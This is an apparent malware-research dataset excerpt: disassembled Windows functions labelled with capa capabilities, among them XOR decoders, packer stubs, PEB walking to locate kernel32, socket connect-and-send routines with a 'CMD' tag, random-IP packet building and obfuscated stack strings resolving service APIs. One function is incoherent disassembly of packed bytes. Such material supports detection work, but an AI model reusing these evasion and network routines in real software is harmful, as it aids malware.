joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43df3a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x43df5c
cmp dword [edi + 0x3c], 0
jne 0x43df5c
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.0044810e
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.0043df89
pop edi
pop esi
pop ebx
ret 8

Function at 0x440d44
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x440d86
call fcn.0044810e
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x440d86
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x440d7d
xor eax, eax
jmp 0x440d8e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00440d94
pop edi
pop esi
pop ebx
ret 4

Function at 0x4490c0
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4490ee
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x44910c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00449026
jmp 0x44910c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x44910c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00449026
test edi, edi
mov eax, edi
jne 0x4490f6
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..3ean
mov ebx, 0x40915c
nop
mov ecx, 0x2da0213f
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..7LWLf
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x2f050b4e
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401e40
Capabilities:
Packed with generic packer
Terminate process

Disassembly:
sub ebx, 0xc
jmp 0x401e13
mov eax, dword [0x410288]
test eax, eax
je 0x401e28
call 0x7d3200
pop edi
pop esi
pop ebx
in eax, 0x29
pop ebp
ret
push 0
call 0x8bb20e60
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
faddp st(3)
and eax, 0x90904690
nop
nop
push ebp
mov ebp, esp
sub esp, 0x78
push es
mov esi, dword [ebp + 0xc]
push esi
sbb al, 0x45
mov byte [edx + 0x78], ch
push eax
js 0x401ea1
push esi
call 0xe840867d
mov ecx, dword [ebp + 0x1e]
dec ebx
adc eax, sym.imp.MSVCRT.dll__iob
push eax
push ecx
xor dword [edi], 0x40
push str._s:__s___d__n
push edx
inc dword [ebx - 0x74]
rol dword [eax], 0x7f
lodsb al, byte [esi]
add al, byte [ecx + 0x78]
add esp, 0x14
test eax, eax
je 0x401e8c
push eax
push str.Total_of__d_requests_completed_n
call dword [sym.imp.MSVCRT.dll_printf]
loopne 0x401e4f
or byte [esi - 1], dl
adc eax, sym.imp.MSVCRT.dll_exit
push esi
call dword [sym.imp.MSVCRT.dll_exit]
pop esi
nop
nop
nop
nop
out 0x90, al
nop
nop
dec edx
cmpsb byte [esi], byte es:[edi]
inc eax
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 0x14]
mov dword [eax + 8], ebp
call fcn.00406a00
mov dword [0x43cda0], eax
mov dword [0x410ba4], edx
mov ebp, dword [ebx - 0x43]
inc esi
imul eax, dword [ebp + 0x75cb8bc0], 0x24
mov ecx, dword [esi + 9]
push 0
push 0
push ecx
call 0xbe408c70
mov dword [edi], esi
cmp byte [eax], cl
add ch, ch
mov dword [esi + 0x92083c], edi
mov dword [esi + 0x18], 0x5a0000
adc dword [0x411716], 0xffffff89
push esi
adc al, 0x77
pushal
add al, byte [ecx + 0x4e]
and al, al
je 0x401f3a
xlatb
jo 0x401f04
add al, byte [ecx]
inc ecx
add byte [ebx - 0x7637de05], cl
dec esi
adc al, 0xeb
hlt
mov edi, ebx
and eax, ecx
mov dword [esi + 0x14], ecx
jmp 0x401f01
mov edx, dword [esi - 0x35]
push ebp
sbb eax, 0x40d030
mov eax, dword [esi + 4]
lea ecx, [ebp + 8]
mov bh, 0xd3
or eax, 0x6d775052
imul eax, dword [eax], 0
test eax, eax
je 0x401f8a
cwde
clc
or esi, dword [ecx + ebx*2 + 0x3d]
push 0x9800e5fd
daa
cmp eax, 0xaffd9
je 0x401f8a
cmp eax, 0xafdb9
je 0x401f8a
cmp eax, 0xafd82
je 0x401fef
sbb ah, byte [ecx + 0x74000afc]
stosb byte es:[edi], al
cmp eax, 0xb23b3
jne 0x402030
mov eax, dword [ebp - 0x5fe274f8]
nop
mov edi, 0x43d8b00
add al, byte [ecx]
sub eax, 0xd783d8
mov dword [eax - 0x766fbe5e], esp
cmp eax, 0x4113a4
mov edx, dword [esi - 0x3c]
mov ecx, dword [esi + 0x14]
add edx, eax
sub ecx, eax
mov dword [edi + 0x18], ecx
mov dword [esi + 0x14], ecx
sets ah
invalid
popal
inc ebp
les ecx, [ecx + 0x49448e]
add byte [ebx + 0x4117f80d], ah
add byte [ebp + 0x5589ec45], cl
clc
lcall 0x2729, 0xfc758951
inc eax
add byte [eax - 0x74a4a1a1], ch
in eax, 0x5d
out dx, al
push 0x93fdd4d4
call dword [0x40f62b]
call 0x5a8b0d
add byte [ebx + 0x5e5f5199], al
pop ebx
mov esp, ebp
leave
xor eax, 0x2bcbb8b
inc ecx
add byte [eax + 0x54], ch
outsb dx, byte [esi]
inc eax
add byte [ebx - 0x77], al
sbb eax, 0x410234
mov edi, dword [ebx + 0x4102bc]
push 0x406e54
inc ebx
mov dword [0x410234], ebx
call dword [sym.imp.MSVCRT.dll_printf]
push esi
call 0xe7563a90
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40658c
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x40658e
ret

Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18
Function at 0x4017e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
clc
jae 0x4017eb
call 0x63d0d3
add byte [eax], al
mov eax, 0x23
cmp eax, 0x100
jl 0x4017f9
call 0x3dcb7cbf
xor byte [eax], al
add byte [eax], al
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x447200], eax
mov edx, 0xda4c2ca8
call fcn.00401160
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
call edx
stc
jb 0x401829
jmp 0xff4082f8
push 0
call dword [sym.imp.USER32.dll_WindowFromDC]
push 8
call fcn.0040232a
push 4
mov esi, eax
call fcn.0040232a
lea edi, [esi + 4]
push edi
push 0
push eax
push 0x401ad0
push 0
push 0
mov dword [eax], 0x4016f0
call fcn.004053bf
add esp, 0x20
mov dword [esi], eax
test eax, eax
je 0x401891
cmp dword [edi], 0
je 0x40189e
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [edi], eax
je 0x4018a5
push 0
push dword [esi + 4]
push dword [esi]
call fcn.0040216e
add esp, 0xc
test eax, eax
jne 0x4018ac
pop edi
mov dword [esi], eax
mov dword [esi + 4], eax
pop esi
mov esp, ebp
pop ebp
ret
push 6
mov dword [edi], 0
call fcn.00401f10
push 1
call fcn.00401f10
push 5
call fcn.00401f10
push 2
call fcn.00401f10
int3

Function at 0x402c97
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402cd6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402cd6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402cd6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402cd6
cmp dword [ecx + 0x74], 0xe
jbe 0x402cd6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407864
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41226c
push 0x412264
push str.FlsAlloc
push 0x1e
call fcn.004076e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407898
push dword [ebp + 8]
mov ecx, esi
call dword [0x410138]
call esi
jmp 0x40789e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4078e2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41227c
push 0x412274
push str.FlsGetValue
push 0x20
call fcn.004076e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407919
push dword [ebp + 8]
mov ecx, esi
call dword [0x410138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40890b
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x4085d8
mov ebx, dword [esp]
add esp, 4
call fcn.0040892f
xor dword [edx], ebx
sub ecx, 0xfd7174bb
dec edi
inc edx
cmp edx, esi
jne fcn.0040890b
ret

Function at 0x43b654
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x43b3c1
dec esi
call fcn.0043b68a
add esi, 0x17d0c153
sub esp, 4
mov dword [esp], edi
pop edi
xor dword [edx], ebx
and esi, esi
mov edi, 0x8fd9f8a1
inc edx
sub edi, esi
dec edi
sub edi, 1
cmp edx, ecx
jne fcn.0043b654
or esi, edi
ret
Function at 0x40104d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401064
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x401099
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x401095
cmp edi, eax
jae 0x401099
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x401087
cmp edi, eax
jb 0x40109d
xor eax, eax
jmp 0x4010a6
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x401188
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfa8
mov eax, dword [0x415020]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x417230]
push edi
xor edi, edi
mov dword [ebp - 0xfa8], eax
cmp dword [ebp + 8], edi
jbe 0x40122d
push esi
mov esi, 0x7d0
lea eax, [ebx + edi]
push eax
lea eax, [ebp - 0xfa4]
push esi
push eax
call fcn.00405cb6
lea eax, [ebp - 0xfa4]
push eax
push str.CMD
push str.SendData_s_s
lea eax, [ebp - 0x7d4]
push esi
push eax
call fcn.004056a4
add esp, 0x20
push 0
push esi
lea eax, [ebp - 0x7d4]
push eax
push dword [ebp - 0xfa8]
call dword [sym.imp.WS2_32.dll_send]
push esi
lea eax, [ebp - 0x7d4]
push 0
push eax
call fcn.00406230
push esi
lea eax, [ebp - 0xfa4]
push 0
push eax
call fcn.00406230
add esp, 0x18
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
add edi, esi
cmp edi, dword [ebp + 8]
jb 0x4011b4
pop esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
pop edi
call fcn.00405495
leave
ret
Function at 0x401408
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5cc
mov eax, dword [0x415020]
xor eax, esp
mov dword [esp + 0x5c8], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call fcn.00405e5f
push eax
call fcn.00405c82
pop ecx
pop ecx
call fcn.00405c94
mov esi, eax
and esi, 0x800001ff
jns 0x40144c
dec esi
or esi, 0xfffffe00
inc esi
lea eax, [esp + 0x28]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor eax, eax
lea edi, [esp + 0x1bc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x400
stosd dword es:[edi], eax
lea eax, [esp + 0x1d4]
push esi
push eax
call fcn.00406230
add esp, 0xc
mov dword [0x41723c], 0x41c
call fcn.00405c94
cdq
mov esi, 0xfa
mov ecx, esi
idiv ecx
inc edx
push edx
call fcn.00405c94
cdq
mov ecx, esi
idiv ecx
inc edx
push edx
call fcn.00405c94
cdq
mov ecx, esi
idiv ecx
inc edx
push edx
call fcn.00405c94
cdq
idiv esi
lea eax, [esp + 0x1c8]
inc edx
push edx
push str._d._d._d._d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
movzx eax, word [0x41723c]
mov esi, dword [sym.imp.WS2_32.dll_htons]
add esp, 0x18
push eax
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], bl
call esi
push dword [0x4172c4]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
mov word [esp + 0x1a], ax
xor eax, eax
mov word [esp + 0x1c], ax
mov word [esp + 0x1e], ax
mov byte [esp + 0x20], 0x80
mov byte [esp + 0x21], 0x11
mov word [esp + 0x22], ax
call edi
mov dword [esp + 0x24], eax
call fcn.00405c94
cdq
mov ecx, 0xea60
idiv ecx
inc edx
push edx
call esi
mov word [esp + 0xc], ax
movzx eax, word [0x417220]
push eax
call esi
push 0x408
mov word [esp + 0x12], ax
call esi
mov si, ax
mov word [esp + 0x10], si
lea eax, [esp + 0x1bc]
push eax
call edi
push 0x43c
push ebx
mov edi, eax
mov ebx, 0x416dd8
push ebx
mov dword [esp + 0x2c], edi
call fcn.00406230
xor eax, eax
mov word [esp + 0x1e], ax
mov eax, dword [esp + 0x30]
mov dword [0x416ddc], eax
mov eax, dword [esp + 0x18]
mov dword [0x416de4], eax
mov eax, dword [esp + 0x1c]
mov dword [0x416dd8], edi
mov word [0x416de2], si
mov byte [0x416de1], 0x11
mov dword [0x416de8], eax
mov ecx, 0x100
lea esi, [esp + 0x1dc]
mov edi, 0x416dec
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
mov ecx, 0x414
mov edx, ebx
call fcn.0040114e
push 5
pop ecx
mov word [esp + 0x12], ax
mov eax, dword [esp + 0xc]
lea esi, [esp + 0x14]
mov edi, 0x416dd8
rep movsd dword es:[edi], dword [esi]
mov dword [0x416dec], eax
mov eax, dword [esp + 0x10]
mov ecx, 0x100
lea esi, [esp + 0x1d0]
mov edi, 0x416df4
mov dword [0x416df0], eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x5d4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405495
mov esp, ebp
pop ebp
ret
Function at 0x4018cd
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x415020]
xor eax, esp
mov dword [esp + 0x194], eax
xor eax, eax
push 0x18e
push eax
mov word [esp + 8], ax
lea eax, [esp + 0xa]
push eax
call fcn.00406230
add esp, 0xc
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x194]
neg eax
sbb eax, eax
xor ecx, esp
inc eax
call fcn.00405495
mov esp, ebp
pop ebp
ret

Function at 0x401edc
Capabilities:
Resolve dns

Disassembly:
push esi
push dword [esp + 8]
xor esi, esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x401ef8
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x401ef8
mov esi, dword [eax]
mov eax, esi
pop esi
ret

Function at 0x401efc
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x415020]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x417220]
push edi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x401f70
push ebx
call fcn.00401edc
pop ecx
test eax, eax
jne 0x401f3b
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x10], eax
pop eax
push esi
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401f6e
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x401f70
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405495
leave
ret
Function at 0x404618
Capabilities:
Create pipe
Create thread

Disassembly:
push 0x1c
mov eax, 0x410a74
call fcn.0040f7e3
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
xor ecx, ecx
inc ecx
lea eax, [ebp - 0x18]
push eax
mov dword [0x416044], ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x28], 0xc
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x417250
mov dword [0x417250], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 0x14]
or dword [0x41607c], 0xffffffff
mov dword [0x417290], eax
mov dword [0x41728c], eax
xor eax, eax
mov word [0x417280], ax
mov eax, dword [ebp - 0x18]
mov dword [0x416080], eax
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push 0x40123d
push ebx
push ebx
mov dword [0x41727c], 0x101
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, 0x1f4
mov esi, 0x4172c8
push edi
mov eax, esi
call fcn.00404c40
push edi
push ebx
call fcn.00404c29
push eax
call fcn.00406230
push edi
push ebx
push 0x416be0
call fcn.00406230
add esp, 0x18
mov esi, 0x4172d8
push edi
mov eax, esi
call fcn.00404c40
push edi
push ebx
call fcn.00404c29
push eax
call fcn.00406230
add esp, 0xc
push str.GetSystemDirectoryA
push 0x412c70
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push 0x416be0
call eax
mov dword [ebp - 4], ebx
call fcn.00403252
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40471f
Function at 0x40487a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x415020]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov byte [ebp - 8], al
mov byte [ebp - 0x15], al
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x40], str.Windows_Network_Config
mov dword [ebp - 0x3c], 0x40473e
mov byte [ebp - 0x14], 0x41
mov byte [ebp - 0x13], 0x44
mov byte [ebp - 0x12], 0x56
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 0x30], 0x53
mov byte [ebp - 0x2f], 0x74
mov byte [ebp - 0x2e], 0x61
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x74
mov byte [ebp - 0x2b], 0x53
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], 0x72
mov byte [ebp - 0x28], 0x76
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x63
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x43
mov byte [ebp - 0x23], 0x74
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x44
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x73
mov byte [ebp - 0x1d], 0x70
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x68
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x41
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x40]
push ecx
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405495
leave
ret

Function at 0x405495
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415020]
jne 0x40549f
repz ret
jmp fcn.0040649c
Function at 0x40e6ef
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040701c
and dword [ebp - 4], 0
cmp dword [0x416b08], 0
mov ebx, eax
jne 0x40e7a0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40e851
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x412b98
push edi
call esi
test eax, eax
je 0x40e851
push eax
call fcn.00406faa
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x416b08], eax
call esi
push eax
call fcn.00406faa
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x416b0c], eax
call esi
push eax
call fcn.00406faa
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x416b10], eax
call esi
push eax
call fcn.00406faa
pop ecx
mov dword [0x416b18], eax
test eax, eax
je 0x40e7a0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406faa
pop ecx
mov dword [0x416b14], eax
mov eax, dword [0x416b14]
cmp eax, ebx
je 0x40e7f8
cmp dword [0x416b18], ebx
je 0x40e7f8
push eax
call fcn.00407025
push dword [0x416b18]
mov esi, eax
call fcn.00407025
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40e7f8
test edi, edi
je 0x40e7f8
call esi
test eax, eax
je 0x40e7ef
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40e7ef
test byte [ebp - 0xc], 1
jne 0x40e7f8
or dword [ebp + 0x10], 0x200000
jmp 0x40e831
mov eax, dword [0x416b0c]
cmp eax, ebx
je 0x40e831
push eax
call fcn.00407025
pop ecx
test eax, eax
je 0x40e831
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40e831
mov eax, dword [0x416b10]
cmp eax, ebx
je 0x40e831
push eax
call fcn.00407025
pop ecx
test eax, eax
je 0x40e831
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x416b08]
call fcn.00407025
pop ecx
test eax, eax
je 0x40e851
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40e853
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret